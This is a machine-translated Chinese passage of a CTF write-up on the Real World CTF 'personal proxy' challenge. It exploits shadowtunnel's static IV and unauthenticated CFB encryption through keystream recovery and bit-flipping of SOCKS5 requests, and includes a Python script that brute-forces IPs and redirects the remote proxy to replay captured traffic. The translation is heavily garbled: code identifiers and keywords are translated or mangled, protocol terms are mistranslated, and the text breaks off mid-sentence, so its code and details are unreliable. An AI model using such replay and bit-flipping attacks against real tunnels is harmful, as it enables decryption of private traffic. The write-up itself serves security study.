Real World CTF是中国CTF,重点是现实漏洞。这是最艰难的,如果不是最艰难的年度CTF竞争。 LiveOvedflow从2018年决赛中有一个很好的视频,展示了令人印象深刻的奖品,Cyberspunk环境和事件的物理安全。这次是一个人的决赛明显不会被举行;组织者将钱捐赠给慈善机构。
这场比赛不是为了胆小的心!缺乏对先前未发表的漏洞的提示和探索意味着即使是“轻松”的挑战也可以在陷入困境时粉碎你的灵魂,甚至有自信的球员开始显示冒名顶替综合症的症状。另一方面,最终理解和解决挑战的感觉是非常有益的。杰克和我和我们的团队一起玩过。
在这篇文章中,我将解剖“个人代理”挑战,这是我偶尔演奏的最有趣的挑战。
摘要是,一个名为“shadowtunnel”的真正的汉语加密隧道工具,用于尝试将流量安全和私下向袜子代理进行安全。我们被赋予了隧道服务器正在运行的IP和端口,在隧道中进行两个连接的数据包捕获,以及服务器源。我们是任务解密捕获的流量而不知道加密密钥。
阴影隧道类似于Shadowsocks,直到最近是中国公民最受欢迎和最可靠的方式,以规避大型防火墙(GFW)。 GFW执行深度数据包检查,并终止似乎是国家外部服务器隧道运输的连接,例如它可以轻松识别典型的VPN协议。
然而,Shadowsocks能够通过从连接中删除可区分协议特征并使其混合其他加密流量来避免GFW。据推测,GFW无法终止此类连接,而不会干扰正常的业务流量。尽管如此,我很困惑Shadowsocks如何有效,因为它似乎难以识别,特别是如果服务器由具有像数字海洋或AWS这样的已知IP范围的提供商托管。
据报道,GFW现在阻止了Shadowsocks流量,这是一个很好的文章,解释了它的方式。基本上,在将流量识别到具有由Shadowsocks加密的不可避免的特征的服务器(自整个流被加密以来的高熵)后,GFW将主动探测服务器以指纹它并决定它是否看起来是合法的。如果不是,则与服务器的连接将在中国封锁。
挑战引起了我的注意,因为它对今天世界上有超过10亿人口影响的非常严重的问题。 Internet用户正在使用工具来访问审查的内容,并依赖于这些工具来保护其隐私。与此同时,网络对手能够捕获流量并阻止它甚至更糟糕的解密。我从来没有机会阅读任何这些代理隧道工具的源代码,并了解他们如何详细工作,所以现在有机会做到这一点。
要访问Internet I使用开源软件设置个人袜子代理,并且使用具有强密码的隧道来使其安全。
以下是我的代理配置文件和在将秘密文件上传到个人存储中心时捕获的网络流量。我不相信任何人都可以读取那些加密的字节。
我们提供了一个包含文件的ZipFile,用于创建模仿挑战服务器设置和PCAP的Docker容器。
来自ubuntu:20.04env debian_frontend nonineractiverun apt-get更新&& \ apt-get安装-y --no-install-adchints dante-server wgetrun mkdir -p / server&& \ cd / server&& wget --no-check证书https://github.com/snail007/shadowtunnel/releases/download/v1.7/shadowtunnel-linux-amd64.tar.gz& \ tar xvf shadowtunnel-linux-amd64 .tar.gz&& \ rm shadowtunnel-linux-amd64.tar.gzworkdir / servercopy ./danted.conf .copy ./run.sh .expe 50000cmd / server/run.sh
请注意,这可以直接下载1.7个ShadowTunnel的发布。仔细观察工具的Golang源代码,我们发现它不会成功构建。这是因为它导入snail007 /代理,其源代码不再可用。作者显然已更名为项目“Goproxy”并在商业化图书馆时删除了大部分来源。幸运的是,另一个GitHub用户已经刻破了源的旧副本,因此通过更改一些导入语句,我们能够让ShadowTunnel构建并因此确认了二进制版本使用的Goproxy库的版本。
它是开放的来源,但不是真正的开源......在评估项目的可信度方面并不伟大的开始。
wrun.sh,它在容器内的ShadowTunnel服务器中启动具有强大的随机密码(在服务器端),并将传入流量转发到在端口61080上运行的Dante Socks代理:
#!/ bin / bashdanted -d -d 2 -f / server/danted.confecho" shadowtunnel密码:$ password" ./ shadowtunnel -e -f -f 127.0.0.1:61080 -L:50000 -p $密码
还有一些其他设置文件,但它们与解决挑战不相关。
每个每个涉及客户端发送4字节数据包,服务器用2字节数据包回复,客户端发送10个字节数据包,服务器用10个字节包汇复,客户端发送大数据包,然后服务器响应a〜590字节数据包:
我们的第一步是在本地设置一切,在隧道中颁发典型请求(如HTTP到达RealWorLDCTF.COM),并在不挖掘的情况下,感受到它的工作原理。
当地:卷曲 - > ShadowTunnel客户端↕在容器中:ShadowTunnel Server - > Dante Socks Proxy↕互联网:https://realworldctf.com
此外,我们决定最初禁用隧道中的加密,以便查看Wireshark中的ClearText流量,并将其与加密流量进行比较。
通过在Run.sh中的ShadowTunnel Server调用中删除-e和-p标志,重建容器,禁用加密相对容易,然后在没有-e和-p标志的情况下运行shadowtunnel客户端:
此时我们不知道挑战PCAP是否显示了使用Socks4或Socks5或Socks5h制造的连接,而是仅仅从实验和眼球似乎最有可能是Socks5的分组长度。
我们可以看到,前几个数据包对应于Socks5协议的图表:
Wikipedia有更多关于这些字节的细节意味着什么。我对袜子协议的最小程度有多少次,我很惊讶,它交换了一些微小的数据包,然后之后透明地继电器 - 这一切都适合短的RFC。
再次在加密的隧道中查看,我们注意到的另一件事是前几个数据包的密文在多个不同的连接中仍然相同,只要密码常量。这似乎是一个加密的弱点,所以我们决定在相关代码上看起来更近。
listentcps是Goproxy库的一部分,使用我们跟踪执行的源代码的分叉副本:
Func(S * ServerChannel)ListentCPS(方法,密码字符串,压缩BOOL,FN FUNC(CONN网))(ERR错误){_,ERR = ENCRYPTCON。 NewCipher(方法,密码)如果err!= nil {return}返回s。 listentcp(func(c net。conn){如果压缩{c = transctorc。newcompconn(c)} c,_ = encryptconn。newconn(c,方法,密码)fn(c)})}
使用EncryptConn.newconn()使用StreamReader / StreamWriter接口设置新的加密连接,以便在连接中有效地读取和写入加密字节:
Func newconn(c net。conn,方法,密码字符串)(conn net。conn,err错误){cipher0,err:= newCipher(方法,密码)如果err!= nil {return} conn =& conn {conn:c,密码:密码,r:&密码。 StreamReader {s:cipher0。 ReadStream,R:C},W:&密码。 StreamWriter {s:cipher0。 WriteStream,W:C},}返回}
最后我们击中了累积奖金,新密封()函数,它得到了一个密码细节错误的错误:
func new密密码(方法,密码字符串)(c * cipher,err错误){如果password =="" {返回nil,erremptypassword} mi,好的:= ciphermethod [方法]如果!好的{返回nil,错误。新("不支持的加密方法:" +方法)}键:= evpbytestokey(密码,mi。Keylen)c =&密码{key:key,信息:mi}如果err!= nil {return nil,err} //哈希(key) - >阅读IV RIV:= SHA256。新的 () 。总和(c。键)[:c。信息。 ivlen] c。 Readstream,Err = C。信息。 newstream(c。key,liv,解密)如果err!= nil {return nil,err} //哈希(读取IV) - >写IV WIV:= SHA256。新的 () 。总和(riv)[:c。信息。 ivlen] c。 writeStream,err = c。信息。 newstream(c。key,wiv,加密)如果err!= nil {return nil,err} return c,nil}
这将块密码加密的初始化向量(iv)设置为键的SHA256(并且WIV只是此值的额外SHA256哈希)。这意味着IV是静态的。静态IV的影响取决于使用哪个块密码模式,但从不良灾难性范围。
在大多数块密码模式中,IV是每个加密流的IV是不同的伪随机值。这使得密码能够实现语义安全性(“在相同密钥下的方案的重复使用不允许攻击者推断加密消息” - 维基百科)之间的关系。在Cryptohack上,我们基于利用IV的滥用有几个简单的挑战。
但是,它实际上是由阴影Tunnel使用的块密码模式?让我们回溯到阴影Tunnel源代码,并找到方法的默认值:
如果我们知道密文的某些索引的明文,我们可以通过与密文字节XORING XAILTEXT字节XORINGYPEXT字节轻松在这些索引中恢复键盘字节字节。此外,在相同的密钥,IV和明文下,两条消息的键盘将是相同的,直到明文发散后的一个附加块。这是因为块N的密文基本上变为块N + 1的IV。
此外,密文未经认证,因此它是可展示的。我们可以在密文中翻转位,并且解密的明文将具有相同的位翻转。
看起来我们没有找到加密密钥,但我们可以获得远程阴影tunnel + socks代理,以解密我们的数据包捕获中的加密数据吗?
我们需要利用我们已经给出的袜子握手的密文的播放性,我们已经给出了我们控制的IP的现有未知IP字节。由于CFB模式的工作方式和上面概述的IV问题,将IP翻转到我们自己的IP将损坏单个接下来的密文的解密,但根据内容,这可能无关紧要。
如果我们可以获得远程代理要形成返回我们自己的服务器的连接,我们可以重播我们在隧道上的剩余加密数据。它应该解密并将其转发给我们!
在继续漏洞之前,让我们分解袜子请求更多。这是我们捕获的明文Socks握手的十六进制字节:
这称“让我们使用Socks5”(05),“我支持两个认证方法”(02),“这些认证方法没有正面aton”(00)和“GSSAPI”(01)。
这说“是的,袜子5”(05)和“是的,让我们使用身份验证”(00)
这称“是的,袜子5”(05),“让我们建立一个TCP / IP流连接”(01),“这是一个保留的字节”(00),“下一步是IPv4地址”(01),“这是IPv4地址我想连接到:0xb23e4ace = 178.62.74.206 = cryptohack.org“(b23e4ace),”ON端口0x01bb = 433“(01bb)
这称“是的,袜子5”(05),“请求授予”(00),“这是一个保留的字节”(00),“下一步是袜子连接绑定到的IPv4地址:0xac120002 = 172.18.0.2” (AC120002)和“这是它绑定到以下的端口:0xABA6 = 43942”(ABA6)。
此时,已经进行了连接,我们的客户端可以将Socks代理的流量转发到目的地。
现在,我们可以利用键人流动的事实,因为每个加密流开始相同,并且开始考虑我们是否可以恢复我们在挑战PCAP中不知道的明文的任何部分。 PCAP中的第一个连接看起来像:
如果我们使用客户端消息2连接客户端消息1和使用服务器消息2的服务器消息1,则清楚的是,客户端和服务器流都是通过相同的keystream加密的:
底层的底层明文字节是相同的,或者只有几个比特,所以您可以在密文之间看到相似性。
由于这些只是加密的Socks消息,因此我们将它们与上面记录的已知明文值进行了XOR,以恢复键盘的部分。
但是,当我们到达“客户端消息2”的第5个字节时,我们不再知道明文,因此无法再恢复键盘。这是因为以下4个字节包含客户端正在请求与之交谈的IP。从PCAP擦除解决数据 - 地址为“127.0.0.1”,MAC地址均为零。因此,我们还没有办法确定挑战PCAP客户端连接到的挑战IP和端口,也不一定是服务器绑定到的IP和端口。
我们肯定需要至少知道IP进行我们的攻击计划并解决挑战。除非我们知道明文IP,否则我们无法将密文IP地址钻为我们控制的服务器。
我们实际上可以恢复IP地址的前两个字节(即一半)挑战PCAP客户端正在尝试连接到一个很好的猜测。我们假设遥控器正在运行与我们已经为挑战提供的相同的Docker设置。然后我们可以猜测“服务器消息2”返回的“服务器绑定IP”是172.18.0.2,因为这通常是Docker将为Linux上的第一个容器分配的。
让我们通过XORING“Server CipherText”和“Server KeyStream”来获取我们获得的keyStream。使用X来表示明文中的未知字节,以及a。要显示IP字节索引:
客户端密文:7805CBA2092B82CEB89060ae06cclient消息:0502000105010001xxxxxxxxxxxxindexes:........服务器密文:7807cea30c2b2eda2b239cf1server消息:050005000001C120002xxxxServer键口:7d07cba30c2a82c82b21xxxx
现在,我们在相关索引处用“Server KeyStream”的“客户端密文”XOR在“IP字节位置”以恢复客户端纯文本:
尼斯,192.168肯定看起来是正确的C类私人地址的网络部分(192.168/16)。
不幸的是,因为“服务器消息1”是短于“客户端消息1”的两个字节,所以两个已知字节的服务器消息2处于“客户端消息2”中的IP地址的前两个字节的索引。服务器绑定端口与目标IP地址的第二个两个字节重叠,我们不知道其中任何一个。
此时,我们认为我们有足够的信息来解决挑战。我们认为我们可以遍布IP的最后两个字节的所有可能性(仅限65000值)。
我们意识到我们不需要让端口正确地正确,因为我们可以将所有连接到我们的服务器连接并尝试在某些未知端口上捕捉到我们的远程连接。
以下脚本将数据从PCAP复制,通过可能的IPS运行,然后翻转比特,以便尝试获取袜子代理以连接到CryptoHack.org。我们确认它在本地工作:
从Crypto.util.number Import *从PWN Import * Import * Import Socket Local = False如果本地:IP =" 127.0.0.1" data_1 =" 071dfaf9" data_2 =" 7606a0a48e5cdfd113d"包=" 0e74862d70f68166e0b5cb03da3b9189884fd752a5412d730457c96f6687f54416dd7b51955c28045118006249be600cb651e4e61a5b73612b1feff032e173f5f7d55342f3e4ee82301334686ab04fa850121595f7d371925c05789c87110f67b35e06cb75eb4c5f633242f878054575f03ab4e01241d967d5ef8cef85ac73b8e907fa455b1ac2223693202c17d05d7f1b3c5c70e4ec36df22c69c0c46e150ae27a618e322e1631bc2a13b8f775eb92e52a11e551336a87113d0875ac24d02518f3c1555ac43"猜测= [' 127.0.0.1' ,' 178.62.74.206' ,]别的:IP =" 13.52.88.46" data_1 =" 7805cba2" data_2 =" 092b82ceeb89060ae06c"包=" 7ec2f5a654c86b20842b791c1a53a60938320f6854f6aca247b925c630db5de0ed489dca44a75b3cf48c14c200c5bf2ee27132d802905df15f4eda528cd7e4585f495c22402505d619f7819baa1c54625106d5767d62db32e24408f94a2c4430db00897c42ff20dba2e8c6cf6986fd1f1ac888c1946bbb65cdc61438f010d53262f93a6723c4568ab49b9741ca8c56e7b8aa9acafe5fcd367bd790d246e42460b9647de8844d4ffd573044a9d91da1efafc8e3dfa6fcf444285350382453932b04f8429daefb5846d4c2019cfee0f1118ba3e8be21ddc0eeb36322a6913e6f60bd2be59a62f440893599bfc3195e2578ae1ff26088726ce5739e9040710138aefee34c27552e8e0f62a6c8d30542a43077baef9a172a3e0babc9af331d17e0c4704d9f0c7642d4603008c1990021b9a5bd6b89c8c09d60d8e75af02109740987f58cae4713cad92fef9c0ccc5a094522904eda7510bf94276eef5cc87362a56477bae3803369ea4ff81cd4df24748276a5a1776841f4309391522ebf0fa222f20e2fe33d6b81f371e35479ba03a4d6b539c492aa92abda62cbb0167304f2826c0307b56ba8513163e46778"猜测= [F" 192.168。 { 一种 } 。 {b}"对于范围(255),在范围内(255)] data_2_head = data_2 [:8] data_2_host = data_2 [8:16] data_2_port = data_2 [16:] wanted_host =" 178.62.74.206" #cryptokack.org wanted_host = bytes_to_long(套接字。Inet_aton(wants_host))wanted_port = 4444用于猜测中的猜测:print(f"尝试{guested_ip}")r =远程(IP,50000,level =& #39; debug')data = bytes。来自新的(data_1)r。发送(数据)r。 recv(2)host = wanted_host ^ bytes_to_long(bytes。reftes。ofhex(data_2_host))^ bytes_to_long(socket。Inet_aton(guested_ip))host_hex = hex(host)[2:]。 zfill(8)#port = wance_port ^ bytes_to_long(bytes.fromhex(data_2_port))^ guesced_port #port_hex = hex(端口)[2:]。zfill(4)port_hex = data_2_port#don' t猜测,只是覆盖和TCPdump为现在有效载荷= data_2_head + host_hex + port_hex断言len(payload)== 20 data = bytes。 FROFHEX(有效载荷)r。发送(数据)#r.recv(10)#data = bytes.fromhex(packet)#r.send(data)#r.recvall()r。关闭 ()
这种顺序连接到遥控器的方法对于每个IP猜测显然非常慢,但似乎足够的CTF仍然可以去,加上我们不想强调远程服务器。
我们离开脚本运行然后浪费了大量的时间,通过数据包捕获的连接捕获我们的服务器希望从而确定IP。 但是,我们有点假设它是“192.168.1.1”,而且当它没有,开始怀疑别的东西是错的。 最终,我们与其他事情分心,并没有设法及时获得旗帜。 当然,挑战说明说说,无需让您的攻击性,并且可以计算到服务器的65000个连接。 CTF结束后不久,我们发现预期的解决方案是使Socks服务器发送不同类型的“服务器消息2”,该类型将包含更多已知的明文供我们玩。 “服务器消息2”充满了nullbytes,因为主机无法访问。 这将泄漏这些索引的纯keystream,其与整个“客户端消息2”IP重叠。 知道这一点,我们可以轻松lea ......